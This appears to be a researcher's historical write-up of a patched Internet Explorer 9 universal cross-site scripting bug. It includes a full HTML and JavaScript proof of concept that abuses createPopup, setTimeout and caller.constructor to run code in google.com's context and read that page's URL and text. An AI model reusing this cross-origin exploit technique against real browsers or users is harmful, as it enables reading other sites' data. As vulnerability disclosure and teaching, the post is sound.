IE9 UXSS: Resident createPopup Function Call

This UXSS relied on an interesting property of createPopup: if the popup is shown (even at size 0×0) and its eval is called via setTimeout inside an iFrame, the popup stays alive across navigation. The iFrame can then call a function on the parent through the popup’s resident context, and that function’s caller.constructor is the cross-origin Function object needed to run arbitrary code.

<iframe name="iFrame" width="500" height="120" border="1"></iframe>
<input type="button" onclick="main()" value="Throw alert from createPopup">

<script language="JavaScript">
function fCaller()
{
    xFunction = fCaller.caller.constructor;
    xFunction("alert(document.URL + '\n\n' + document.body.innerText)")();
}

function main()
{
    sCode = 'cp = createPopup(); cp.show(0,0,0,0);' +
            'cp.document.parentWindow.eval("cachedTop = top; alert(\\"Focus and close me when Google has been loaded...\\"); cachedTop.fCaller()");';

    iFrame.setTimeout(sCode);
    iFrame.location = "http://www.google.com";
}
</script>

The sequence is: register the setTimeout code in the iFrame before it navigates to Google, then redirect the iFrame. The popup is created and shown in the iFrame’s original context, then the alert fires — at this point the iFrame has already landed on Google. Dismissing the alert causes cachedTop.fCaller() to execute in the Google context, and fCaller.caller.constructor hands back Google’s Function object. The important constraint is that cp.show() must be called, even with zero dimensions, or the URL change in the iFrame will not happen and the popup will not survive navigation.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.